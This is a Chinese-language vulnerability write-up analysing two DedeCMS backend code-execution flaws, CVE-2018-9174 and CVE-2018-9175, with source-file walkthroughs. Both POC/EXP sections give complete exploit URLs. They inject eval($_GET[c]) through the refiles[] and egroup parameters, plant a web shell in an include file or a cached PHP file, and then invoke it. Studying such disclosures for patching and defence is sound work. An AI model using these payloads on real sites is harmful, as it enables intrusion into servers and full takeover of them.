第一处(cve-2018-9174)
基本原理是语句写入 inc 文件中,然后包含进来。
漏洞分析
首先,我们需要找到一个写文件的地方,我的理解 inc 文件是对include file
的缩写,所以如果能够控制写入的这个文件内容,一般能够找到include它的地方。
跟进去文件,uploads/dede/sys_verifies.php
这里我们就要想办法往里写php代码,看到输出点有双引号包围,需要闭合。
知道dedecms有个全局注册变量,
uploads\include\common.inc.php
其中会将字符串里面的"
替换为\"
。
所以,我们可以构造
http://mydedecms.com/dede/sys_verifies.php?action=getfiles&refiles[]=12%22;eval($_GET[c]);die();//
到达substr那里
12\";eval($_GET[c]);die();//
截取为
";eval($_GET[c]);die();//
最终写入文件
\uploads\data\modifytmp.inc
任意找到一个include
该modifytmp.inc
文件的地方。
原来那文件就有调用。
/uploads/dede/sys_verifies.php
所以,可以直接访问shell
http://mydedecms.com/dede/sys_verifies.php?action=down&c=phpinfo();
这种利用方法是https://xz.aliyun.com/t/2237中介绍的,利用了substr
OK,容易找到另外的利用方式。
注意到是双引号闭合。
Great!
我们不用闭合双引号,可以用可变变量来达到代码执行。
访问如下链接。
http://mydedecms.com/dede/sys_verifies.php?action=getfiles&refiles[]=123${${eval($_GET[c])}}
写入的文件如下
访问如下链接
http://mydedecms.com/dede/sys_verifies.php?action=down&c=phpinfo();
POC/EXP
方法一
登录后台
访问
http://mydedecms.com/dede/sys_verifies.php?action=getfiles&refiles[]=12%22;eval($_GET[c]);die();//
访问
http://mydedecms.com/dede/sys_verifies.php?action=down&c=phpinfo();
看到执行了phpinfo()
方法二
- 登录后台
- 访问
http://mydedecms.com/dede/sys_verifies.php?action=getfiles&refiles[]=123${${eval($_GET[c])}}
- 访问
http://mydedecms.com/dede/sys_verifies.php?action=down&c=phpinfo();
第二处(cve-2018-9175)
基本原理是语句写入数据库,从数据库中取值,输出到 php文件中。
漏洞分析
\uploads\dede\sys_cache_up.php
跟进去
直接从数据库中取数据后写入到文件中。
找到一个写入该数据表的地方
/uploads/dede/stepselect_main.php
OK,有意思的是,插入数据库后,底下就执行了更新缓存,所以,插入数据库和写入缓存文件可以通过访问一个链接达到,构造访问如下链接
http://mydedecms.com/dede/stepselect_main.php?action=addenum_save&ename=2334&egroup=;phpinfo();$&issign=1
此时向数据库中添加了数据
此时,缓存文件
uploads/data/enums/;phpinfo();$.php
然后,访问之,链接为
http://mydedecms.com/data/enums/;phpinfo();$.php
POC/EXP
POC
登录后台
访问链接写入数据库,写入缓存文件
http://mydedecms.com/dede/stepselect_main.php?action=addenum_save&ename=2334&egroup=;phpinfo();$&issign=1
访问缓存文件
http://mydedecms.com/data/enums/;phpinfo();$.php
EXP
登录后台
访问链接写入数据库,写入缓存文件
http://mydedecms.com/dede/stepselect_main.php?action=addenum_save&ename=2334&egroup=;eval($_GET[c]);$&issign=1
访问缓存文件
http://mydedecms.com/data/enums/;eval($_GET[c]);$.php?c=phpinfo();
参考
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9175
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com